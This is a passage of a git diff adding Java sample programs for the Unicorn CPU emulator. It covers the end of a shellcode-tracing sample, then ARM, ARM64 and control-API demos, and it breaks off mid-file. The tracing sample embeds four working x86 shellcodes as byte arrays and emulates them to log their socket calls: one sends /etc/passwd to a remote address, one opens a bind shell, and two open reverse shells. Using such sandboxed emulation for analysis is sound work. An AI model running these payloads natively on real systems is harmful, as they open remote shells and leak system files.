String.format("fd(%d) accept client with upeer=%s", + fd, parse_sock_address(sock_addr)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + } else if (call == 9) { // sys_send + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long length = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + long flags = + toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); + + byte[] buf = uc.mem_read(buff, (int) length); + String msg = String.format("fd(%d) send data=%s", fd, + new String(buf)); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } else if (call == 11) { // sys_receive + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + long size = + toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); + long flags = + toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); + + String msg = String.format( + "fd(%d) is gonna receive data with size=%d flags=%d", + fd, size, flags); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } else if (call == 13) { // sys_shutdown + long fd = toInt(uc.mem_read(args, SIZE_REG)); + long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); + + String msg = String.format( + "fd(%d) is shutted down because of %d", fd, how); + fd_chains.add_log(fd, msg); + print_sockcall(msg); + } + } + } + } + + public static final Hashtable SOCKET_TYPES; + public static final Hashtable ADDR_FAMILY; + + static { + SOCKET_TYPES = new Hashtable(); + ADDR_FAMILY = new Hashtable(); + SOCKET_TYPES.put(1L, "SOCK_STREAM"); + SOCKET_TYPES.put(2L, "SOCK_DGRAM"); + SOCKET_TYPES.put(3L, "SOCK_RAW"); + SOCKET_TYPES.put(4L, "SOCK_RDM"); + SOCKET_TYPES.put(5L, "SOCK_SEQPACKET"); + SOCKET_TYPES.put(10L, "SOCK_PACKET"); + + ADDR_FAMILY.put(0L, "AF_UNSPEC"); + ADDR_FAMILY.put(1L, "AF_UNIX"); + ADDR_FAMILY.put(2L, "AF_INET"); + ADDR_FAMILY.put(3L, "AF_AX25"); + ADDR_FAMILY.put(4L, "AF_IPX"); + ADDR_FAMILY.put(5L, "AF_APPLETALK"); + ADDR_FAMILY.put(6L, "AF_NETROM"); + ADDR_FAMILY.put(7L, "AF_BRIDGE"); + ADDR_FAMILY.put(8L, "AF_AAL5"); + ADDR_FAMILY.put(9L, "AF_X25"); + ADDR_FAMILY.put(10L, "AF_INET6"); + ADDR_FAMILY.put(12L, "AF_MAX"); + } + + // http://shell-storm.org/shellcode/files/shellcode-861.php + public static final byte[] X86_SEND_ETCPASSWD = { 106, 102, 88, 49, -37, 67, + 49, -46, 82, 106, 1, 106, 2, -119, -31, -51, -128, -119, -58, 106, 102, + 88, 67, 104, 127, 1, 1, 1, 102, 104, 48, 57, 102, 83, -119, -31, 106, + 16, 81, 86, -119, -31, 67, -51, -128, -119, -58, 106, 1, 89, -80, 63, + -51, -128, -21, 39, 106, 5, 88, 91, 49, -55, -51, -128, -119, -61, -80, + 3, -119, -25, -119, -7, 49, -46, -74, -1, -78, -1, -51, -128, -119, -62, + 106, 4, 88, -77, 1, -51, -128, 106, 1, 88, 67, -51, -128, -24, -44, -1, + -1, -1, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100 }; + // http://shell-storm.org/shellcode/files/shellcode-882.php + public static final byte[] X86_BIND_TCP = { 106, 102, 88, 106, 1, 91, 49, + -10, 86, 83, 106, 2, -119, -31, -51, -128, 95, -105, -109, -80, 102, 86, + 102, 104, 5, 57, 102, 83, -119, -31, 106, 16, 81, 87, -119, -31, -51, + -128, -80, 102, -77, 4, 86, 87, -119, -31, -51, -128, -80, 102, 67, 86, + 86, 87, -119, -31, -51, -128, 89, 89, -79, 2, -109, -80, 63, -51, -128, + 73, 121, -7, -80, 11, 104, 47, 47, 115, 104, 104, 47, 98, 105, 110, + -119, -29, 65, -119, -54, -51, -128 }; + // http://shell-storm.org/shellcode/files/shellcode-883.php + public static final byte[] X86_REVERSE_TCP = { 106, 102, 88, 106, 1, 91, 49, + -46, 82, 83, 106, 2, -119, -31, -51, -128, -110, -80, 102, 104, 127, 1, + 1, 1, 102, 104, 5, 57, 67, 102, 83, -119, -31, 106, 16, 81, 82, -119, + -31, 67, -51, -128, 106, 2, 89, -121, -38, -80, 63, -51, -128, 73, 121, + -7, -80, 11, 65, -119, -54, 82, 104, 47, 47, 115, 104, 104, 47, 98, 105, + 110, -119, -29, -51, -128 }; + // http://shell-storm.org/shellcode/files/shellcode-849.php + public static final byte[] X86_REVERSE_TCP_2 = { 49, -64, 49, -37, 49, -55, + 49, -46, -80, 102, -77, 1, 81, 106, 6, 106, 1, 106, 2, -119, -31, -51, + -128, -119, -58, -80, 102, 49, -37, -77, 2, 104, -64, -88, 1, 10, 102, + 104, 122, 105, 102, 83, -2, -61, -119, -31, 106, 16, 81, 86, -119, -31, + -51, -128, 49, -55, -79, 3, -2, -55, -80, 63, -51, -128, 117, -8, 49, + -64, 82, 104, 110, 47, 115, 104, 104, 47, 47, 98, 105, -119, -29, 82, + 83, -119, -31, 82, -119, -30, -80, 11, -51, -128 }; + + // memory address where emulation starts + public static final int ADDRESS = 0x1000000; + + public static String join(ArrayList l, String sep) { + boolean first = true; + StringBuilder res = new StringBuilder(); + for (String s : l) { + if (!first) { + res.append(sep); + } + res.append(s); + first = false; + } + return res.toString(); + } + + private static class LogChain { + public Hashtable> __chains = + new Hashtable>(); + public Hashtable> __linking_fds = + new Hashtable>(); + + public void clean() { + __chains.clear(); + __linking_fds.clear(); + } + + public void create_chain(long id) { + if (!__chains.containsKey(id)) { + __chains.put(id, new ArrayList()); + } else { + System.out.printf("LogChain: id %d existed\n", id); + } + } + + public void add_log(long id, String msg) { + long fd = get_original_fd(id); + + if (fd != -1) { + __chains.get(fd).add(msg); + } else { + System.out.printf("LogChain: id %d doesn't exist\n", id); + } + } + + public void link_fd(long from_fd, long to_fd) { + if (!__linking_fds.containsKey(to_fd)) { + __linking_fds.put(to_fd, new ArrayList()); + } + + __linking_fds.get(to_fd).add(from_fd); + } + + public long get_original_fd(long fd) { + if (__chains.containsKey(fd)) { + return fd; + } + + for (Long orig_fd : __linking_fds.keySet()) { + if (__linking_fds.get(orig_fd).contains(fd)) + return orig_fd; + } + return -1; + } + + public void print_report() { + System.out.printf("\n----------------"); + System.out.printf("\n| START REPORT |"); + System.out.printf("\n----------------\n\n"); + for (Long fd : __chains.keySet()) { + System.out.printf("---- START FD(%d) ----\n", fd); + System.out.println(join(__chains.get(fd), "\n")); + System.out.printf("---- END FD(%d) ----\n", fd); + } + System.out.printf("\n--------------"); + System.out.printf("\n| END REPORT |"); + System.out.printf("\n--------------\n\n"); + } + } + // end supported classes + + // utilities + static String read_string(Unicorn uc, long addr) { + StringBuilder ret = new StringBuilder(); + char c; + do { + c = (char) (uc.mem_read(addr++, 1)[0] & 0xff); + if (c != 0) { + ret.append(c); + } + } while (c != 0); + + return ret.toString(); + } + + static String parse_sock_address(byte[] sock_addr) { + int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff; + + if (sin_family == 2) { // AF_INET + int sin_port = + ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff; + return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, + sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, + sin_port); + } else if (sin_family == 6) // AF_INET6 + return ""; + return null; + } + + static void print_sockcall(String msg) { + System.out.printf(">>> SOCKCALL %s\n", msg); + } + // end utilities + + public static void test_i386(byte[] code) { + fd_chains.clean(); + System.out.printf("Emulate i386 code\n"); + try { + // Initialize emulator in X86-32bit mode + Unicorn mu = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + mu.mem_write(ADDRESS, code); + + // initialize stack + mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000L); + + // handle interrupt ourself + mu.hook_add(new MyInterruptHook(), null); + + // emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0); + + // now print out some registers + System.out.printf(">>> Emulation done\n"); + + } catch (UnicornException uex) { + System.out.printf("ERROR: %s\n", uex.getMessage()); + } + + fd_chains.print_report(); + } + + public static void main(String args[]) { + test_i386(X86_SEND_ETCPASSWD); + test_i386(X86_BIND_TCP); + test_i386(X86_REVERSE_TCP); + test_i386(X86_REVERSE_TCP_2); + } + +} diff --git a/bindings/java/src/test/java/samples/Sample_arm.java b/bindings/java/src/test/java/samples/Sample_arm.java new file mode 100644 index 0000000000..77ba0d39f0 --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_arm.java @@ -0,0 +1,326 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +/* Sample code to demonstrate how to emulate ARM code */ + +package samples; + +import java.util.Arrays; + +import unicorn.*; + +public class Sample_arm implements UnicornConst, ArmConst { + + /** code to be emulated {@code mov r0, #0x37; sub r1, r2, r3} */ + // private static final byte[] ARM_CODE = Utils.hexToBytes("3700a0e3031042e0"); + /** code to be emulated {@code nop} */ + private static final byte[] ARM_CODE = Utils.hexToBytes("00f020e3"); + + /** code to be emulated {@code sub sp, #0xc} */ + private static final byte[] THUMB_CODE = Utils.hexToBytes("83b0"); + + /** code to be emulated + *

+     * cmp r2, r3
+     * it ne
+     * mov r2, #0x68
+     * mov r2, #0x4d
+     * 
+ */ + private static final byte[] ARM_THUMB_COND_CODE = + Utils.hexToBytes("9a4214bf68224d22"); + + /** code to be emulated {@code mov r0, #0x37; sub r1, r2, r3} */ + private static final byte[] ARM_CODE_EB = + Utils.hexToBytes("e3a00037e0421003"); + /** code to be emulated {@code sub sp, #0xc} */ + private static final byte[] THUMB_CODE_EB = Utils.hexToBytes("b083"); + + /** {@code 0xf3ef8014 - mrs r0, control} */ + private static final byte[] THUMB_CODE_MRS = Utils.hexToBytes("eff31480"); + + /** memory address where emulation starts */ + private static final long ADDRESS = 0x10000; + + private static final BlockHook hook_block = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", + address, size); + }; + + private static final CodeHook hook_code = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + }; + + public static void test_arm() { + long r0 = 0x1234L; // R0 register + long r2 = 0x6789L; // R1 register + long r3 = 0x3333L; // R2 register + + System.out.println("Emulate ARM code"); + + // Initialize emulator in ARM mode + Unicorn u = new Unicorn(UC_ARCH_ARM, UC_MODE_ARM); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, ARM_CODE); + + // initialize machine registers + u.reg_write(UC_ARM_REG_R0, r0); + u.reg_write(UC_ARM_REG_R2, r2); + u.reg_write(UC_ARM_REG_R3, r3); + + // tracing all basic blocks with customized callback + u.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(hook_code, ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> R0 = 0x%x\n", u.reg_read(UC_ARM_REG_R0)); + System.out.format(">>> R1 = 0x%x\n", u.reg_read(UC_ARM_REG_R1)); + } + + public static void test_thumb() { + long sp = 0x1234L; // R0 register + + System.out.println("Emulate THUMB code"); + + // Initialize emulator in ARM mode + Unicorn u = new Unicorn(UC_ARCH_ARM, UC_MODE_THUMB); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, THUMB_CODE); + + // initialize machine registers + u.reg_write(UC_ARM_REG_SP, sp); + + // tracing all basic blocks with customized callback + u.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(hook_code, ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + System.out.format(">>> SP = 0x%x\n", u.reg_read(UC_ARM_REG_SP)); + } + + public static void test_armeb() { + long r0 = 0x1234L; // R0 register + long r2 = 0x6789L; // R1 register + long r3 = 0x3333L; // R2 register + + System.out.println("Emulate ARM Big-Endian code"); + + // Initialize emulator in ARM mode + Unicorn uc = new Unicorn(UC_ARCH_ARM, UC_MODE_ARM | UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, ARM_CODE_EB); + + // initialize machine registers + uc.reg_write(UC_ARM_REG_R0, r0); + uc.reg_write(UC_ARM_REG_R2, r2); + uc.reg_write(UC_ARM_REG_R3, r3); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + uc.hook_add(hook_code, ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(ADDRESS, ADDRESS + ARM_CODE_EB.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> R0 = 0x%x\n", uc.reg_read(UC_ARM_REG_R0)); + System.out.format(">>> R1 = 0x%x\n", uc.reg_read(UC_ARM_REG_R1)); + } + + public static void test_thumbeb() { + long sp = 0x1234L; + + System.out.println("Emulate THUMB Big-Endian code"); + + // Initialize emulator in ARM mode + Unicorn uc = + new Unicorn(UC_ARCH_ARM, UC_MODE_THUMB + UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, THUMB_CODE_EB); + + // initialize machine registers + uc.reg_write(UC_ARM_REG_SP, sp); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + uc.hook_add(hook_code, ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + // Note we start at ADDRESS | 1 to indicate THUMB mode. + uc.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE_EB.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> SP = 0x%x\n", uc.reg_read(UC_ARM_REG_SP)); + } + + public static void test_thumb_mrs() { + System.out.println("Emulate THUMB MRS instruction"); + // 0xf3ef8014 - mrs r0, control + + // Initialize emulator in ARM mode + Unicorn uc = new Unicorn(UC_ARCH_ARM, UC_MODE_THUMB); + + // Setup the cpu model. + uc.ctl_set_cpu_model(UC_CPU_ARM_CORTEX_M33); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, THUMB_CODE_MRS); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + uc.hook_add(hook_code, ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + + // Note we start at ADDRESS | 1 to indicate THUMB mode. + uc.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE_MRS.length, 0, 1); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + long pc = uc.reg_read(UC_ARM_REG_PC); + System.out.format(">>> PC = 0x%x\n", pc); + if (pc != ADDRESS + 4) { + System.out.format("Error, PC was 0x%x, expected was 0x%x.\n", pc, + ADDRESS + 4); + } + } + + private static void test_thumb_ite_internal(boolean step, long[] r2r3) { + Unicorn uc = new Unicorn(UC_ARCH_ARM, UC_MODE_THUMB); + + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + uc.mem_write(ADDRESS, ARM_THUMB_COND_CODE); + + uc.reg_write(UC_ARM_REG_SP, 0x1234L); + + uc.reg_write(UC_ARM_REG_R2, 0); + uc.reg_write(UC_ARM_REG_R3, 1); + + if (!step) { + uc.emu_start(ADDRESS | 1, ADDRESS + ARM_THUMB_COND_CODE.length, 0, + 0); + } else { + long addr = ADDRESS; + for (int i = 0; i < ARM_THUMB_COND_CODE.length / 2; i++) { + uc.emu_start(addr | 1, ADDRESS + ARM_THUMB_COND_CODE.length, 0, + 1); + addr = uc.reg_read(UC_ARM_REG_PC); + } + } + + r2r3[0] = uc.reg_read(UC_ARM_REG_R2); + r2r3[1] = uc.reg_read(UC_ARM_REG_R3); + } + + public static void test_thumb_ite() { + long[] r2r3 = new long[2]; + long[] step_r2r3 = new long[2]; + + System.out.println( + "Emulate a THUMB ITE block as a whole or per instruction."); + + // Run once. + System.out.println("Running the entire binary."); + test_thumb_ite_internal(false, r2r3); + System.out.format(">>> R2: %d\n", r2r3[0]); + System.out.format(">>> R3: %d\n\n", r2r3[1]); + + // Step each instruction. + System.out.println("Running the binary one instruction at a time."); + test_thumb_ite_internal(true, step_r2r3); + System.out.format(">>> R2: %d\n", step_r2r3[0]); + System.out.format(">>> R3: %d\n\n", step_r2r3[1]); + + if (!Arrays.equals(r2r3, step_r2r3)) { + System.out.println("Failed with ARM ITE blocks stepping!"); + } + } + + public static void test_read_sctlr() { + System.out.println("Read the SCTLR register."); + + Unicorn uc = new Unicorn(UC_ARCH_ARM, UC_MODE_ARM); + + // SCTLR. See arm reference. + Arm_CP reg = new Arm_CP(15, 0, 0, 1, 0, 0, 0); + long val = (Long) uc.reg_read(UC_ARM_REG_CP_REG, reg); + + System.out.format(">>> SCTLR = 0x%x\n", val & 0xffffffffL); + System.out.format(">>> SCTLR.IE = %d\n", (val >> 31) & 1); + System.out.format(">>> SCTLR.B = %d\n", (val >> 7) & 1); + } + + public static void main(String args[]) { + test_arm(); + System.out.print("==========================\n"); + test_thumb(); + + System.out.print("==========================\n"); + test_armeb(); + + System.out.print("==========================\n"); + test_thumbeb(); + + System.out.print("==========================\n"); + test_thumb_mrs(); + + System.out.print("==========================\n"); + test_thumb_ite(); + + System.out.print("==========================\n"); + test_read_sctlr(); + } + +} diff --git a/bindings/java/src/test/java/samples/Sample_arm64.java b/bindings/java/src/test/java/samples/Sample_arm64.java new file mode 100644 index 0000000000..5364a2c2c4 --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_arm64.java @@ -0,0 +1,289 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +/* Sample code to demonstrate how to emulate ARM64 code */ + +package samples; + +import java.util.Arrays; + +import unicorn.*; + +public class Sample_arm64 implements UnicornConst, Arm64Const { + + /** code to be emulated {@code str w11, [x13], #0; ldrb w15, [x13], #0} */ + private static final byte[] ARM64_CODE = + Utils.hexToBytes("ab0500b8af054038"); + + /** code to be emulated {@code str w11, [x13]; ldrb w15, [x13]} */ + //private static final byte[] ARM64_CODE_EB = Utils.hexToBytes("b80005ab384005af"); // str w11, [x13]; + + private static final byte[] ARM64_CODE_EB = ARM64_CODE; + + /** code to be emulated {@code mrs x2, tpidrro_el0} */ + private static final byte[] ARM64_MRS_CODE = Utils.hexToBytes("62d03bd5"); + + /** code to be emulated {@code paciza x1} */ + private static final byte[] ARM64_PAC_CODE = Utils.hexToBytes("e123c1da"); + + // memory address where emulation starts + public static final int ADDRESS = 0x10000; + + private static final BlockHook hook_block = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", + address, size); + }; + + private static final CodeHook hook_code = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + }; + + public static void test_arm64_mem_fetch() { + // msr x0, CurrentEL + byte[] shellcode0 = { 64, 66, 56, (byte) 213 }; + // .text:00000000004002C0 LDR X1, [SP,#arg_0] + byte[] shellcode = { (byte) 0xE1, 0x03, 0x40, (byte) 0xF9 }; + long shellcode_address = 0x4002C0L; + long data_address = 0x10000000000000L; + + System.out.format( + ">>> Emulate ARM64 fetching stack data from high address %x\n", + data_address); + + // Initialize emulator in ARM mode + Unicorn uc = new Unicorn(UC_ARCH_ARM64, UC_MODE_ARM); + + uc.mem_map(data_address, 0x30000, UC_PROT_ALL); + uc.mem_map(0x400000, 0x1000, UC_PROT_ALL); + + uc.reg_write(UC_ARM64_REG_SP, data_address); + byte[] data = new byte[8]; + Arrays.fill(data, (byte) 0xc8); + uc.mem_write(data_address, data); + uc.mem_write(shellcode_address, shellcode0); + uc.mem_write(shellcode_address + 4, shellcode); + + uc.emu_start(shellcode_address, shellcode_address + 4, 0, 0); + + long x0 = uc.reg_read(UC_ARM64_REG_X0); + System.out.format(">>> x0(Exception Level)=%x\n", x0 >> 2); + + uc.emu_start(shellcode_address + 4, shellcode_address + 8, 0, 0); + + long x1 = uc.reg_read(UC_ARM64_REG_X1); + + System.out.format(">>> X1 = 0x%x\n", x1); + } + + public static void test_arm64() { + long x11 = 0x12345678; // X11 register + long x13 = 0x10000 + 0x8; // X13 register + long x15 = 0x33; // X15 register + + System.out.println("Emulate ARM64 code"); + + // Initialize emulator in ARM mode + Unicorn uc = new Unicorn(UC_ARCH_ARM64, UC_MODE_ARM); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, ARM64_CODE); + + // initialize machine registers + uc.reg_write(UC_ARM64_REG_X11, x11); + uc.reg_write(UC_ARM64_REG_X13, x13); + uc.reg_write(UC_ARM64_REG_X15, x15); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + uc.hook_add(hook_code, ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(ADDRESS, ADDRESS + ARM64_CODE.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.println(">>> As little endian, X15 should be 0x78:"); + System.out.format(">>> X15 = 0x%x\n", uc.reg_read(UC_ARM64_REG_X15)); + } + + public static void test_arm64eb() { + long x11 = 0x12345678; // X11 register + long x13 = 0x10000 + 0x8; // X13 register + long x15 = 0x33; // X15 register + + System.out.println("Emulate ARM64 Big-Endian code"); + + // Initialize emulator in ARM mode + Unicorn uc = + new Unicorn(UC_ARCH_ARM64, UC_MODE_ARM + UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, ARM64_CODE_EB); + + // initialize machine registers + uc.reg_write(UC_ARM64_REG_X11, x11); + uc.reg_write(UC_ARM64_REG_X13, x13); + uc.reg_write(UC_ARM64_REG_X15, x15); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + uc.hook_add(hook_code, ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(ADDRESS, ADDRESS + ARM64_CODE_EB.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.println(">>> As big endian, X15 should be 0x78:"); + System.out.format(">>> X15 = 0x%x\n", uc.reg_read(UC_ARM64_REG_X15)); + } + + public static void test_arm64_sctlr() { + long val; + System.out.println("Read the SCTLR register."); + + Unicorn uc = + new Unicorn(UC_ARCH_ARM64, UC_MODE_LITTLE_ENDIAN | UC_MODE_ARM); + + // SCTLR_EL1. See arm reference. + Arm64_CP reg = new Arm64_CP(1, 0, 3, 0, 0); + + val = (long) uc.reg_read(UC_ARM64_REG_CP_REG, reg); + System.out.format(">>> SCTLR_EL1 = 0x%x\n", val); + + reg.op1 = 0b100; + val = (long) uc.reg_read(UC_ARM64_REG_CP_REG, reg); + System.out.format(">>> SCTLR_EL2 = 0x%x\n", val); + } + + private static final Arm64SysHook hook_mrs = + (uc, reg, cp_reg, user_data) -> { + System.out + .println(">>> Hook MSR instruction. Write 0x114514 to X2."); + + uc.reg_write(reg, 0x114514L); + + // Skip + return 1; + }; + + public static void test_arm64_hook_mrs() { + System.out.println("Hook MRS instruction."); + + Unicorn uc = + new Unicorn(UC_ARCH_ARM64, UC_MODE_LITTLE_ENDIAN | UC_MODE_ARM); + uc.mem_map(0x1000, 0x1000, UC_PROT_ALL); + uc.mem_write(0x1000, ARM64_MRS_CODE); + uc.hook_add(hook_mrs, UC_ARM64_INS_MRS, 1, 0, null); + uc.emu_start(0x1000, 0x1000 + ARM64_MRS_CODE.length, 0, 0); + System.out.format(">>> X2 = 0x%x\n", uc.reg_read(UC_ARM64_REG_X2)); + } + + /* Test PAC support in the emulator. Code adapted from + https://github.com/unicorn-engine/unicorn/issues/1789#issuecomment-1536320351 */ + public static void test_arm64_pac() { + long x1 = 0x0000aaaabbbbccccL; + + System.out.println("Try ARM64 PAC"); + + // Initialize emulator in ARM mode + Unicorn uc = new Unicorn(UC_ARCH_ARM64, UC_MODE_ARM); + uc.ctl_set_cpu_model(UC_CPU_ARM64_MAX); + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + uc.mem_write(ADDRESS, ARM64_PAC_CODE); + uc.reg_write(UC_ARM64_REG_X1, x1); + + /** Initialize PAC support **/ + Arm64_CP reg; + + // SCR_EL3 + reg = new Arm64_CP(1, 1, 3, 6, 0); + reg.val = (Long) uc.reg_read(UC_ARM64_REG_CP_REG, reg); + // NS && RW && API + reg.val |= (1 | (1L << 10) | (1L << 17)); + uc.reg_write(UC_ARM64_REG_CP_REG, reg); + + // SCTLR_EL1 + reg = new Arm64_CP(1, 0, 3, 0, 0); + reg.val = (Long) uc.reg_read(UC_ARM64_REG_CP_REG, reg); + // EnIA && EnIB + reg.val |= (1L << 31) | (1L << 30); + uc.reg_write(UC_ARM64_REG_CP_REG, reg); + + // HCR_EL2 + reg = new Arm64_CP(1, 1, 3, 4, 0); + reg.val = (Long) uc.reg_read(UC_ARM64_REG_CP_REG, reg); + // HCR.API + reg.val |= (1L << 41); + uc.reg_write(UC_ARM64_REG_CP_REG, reg); + + /** Check that PAC worked **/ + uc.emu_start(ADDRESS, ADDRESS + ARM64_PAC_CODE.length, 0, 0); + long new_x1 = uc.reg_read(UC_ARM64_REG_X1); + + System.out.format("X1 = 0x%x\n", new_x1); + if (new_x1 == x1) { + System.out.println("FAIL: No PAC tag added!"); + } else { + // Expect 0x1401aaaabbbbccccULL with the default key + System.out.println("SUCCESS: PAC tag found."); + } + } + + public static void main(String args[]) { + test_arm64_mem_fetch(); + + System.out.println("-------------------------"); + test_arm64(); + + System.out.println("-------------------------"); + test_arm64eb(); + + System.out.println("-------------------------"); + test_arm64_sctlr(); + + System.out.println("-------------------------"); + test_arm64_hook_mrs(); + + System.out.println("-------------------------"); + test_arm64_pac(); + } +} diff --git a/bindings/java/src/test/java/samples/Sample_ctl.java b/bindings/java/src/test/java/samples/Sample_ctl.java new file mode 100644 index 0000000000..29fddac001 --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_ctl.java @@ -0,0 +1,159 @@ +package samples; + +import java.util.Arrays; + +import unicorn.*; + +public class Sample_ctl implements UnicornConst, X86Const { + /** Code to be emulated + *
+     *   cmp eax, 0;
+     *   jg lb;
+     *   inc eax;
+     *   nop;
+     * lb:
+     *   inc ebx;
+     *   nop;
+     * 
+ */ + private static final byte[] X86_JUMP_CODE = + Utils.hexToBytes("83f8007f0240904390"); + + /** memory address where emulation starts */ + private static final long ADDRESS = 0x10000; + + public static void test_uc_ctl_read() { + System.out.println("Reading some properties by uc_ctl."); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // Let's query some properties by uc_ctl. + int mode = uc.ctl_get_mode(); + int arch = uc.ctl_get_arch(); + long timeout = uc.ctl_get_timeout(); + int pagesize = uc.ctl_get_page_size(); + + System.out.format(">>> mode = %d, arch = %d, timeout=%d, pagesize=%d\n", + mode, arch, timeout, pagesize); + } + + private static final EdgeGeneratedHook trace_new_edge = + (uc, cur, prev, data) -> { + System.out.format(">>> Getting a new edge from 0x%x to 0x%x.\n", + prev.pc + prev.size - 1, cur.pc); + }; + + public static void test_uc_ctl_exits() { + long r_eax, r_ebx; + long exits[] = { ADDRESS + 6, ADDRESS + 8 }; + + System.out.println("Using multiple exits by uc_ctl."); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + uc.mem_map(ADDRESS, 0x1000, UC_PROT_ALL); + + // Write our code to the memory. + 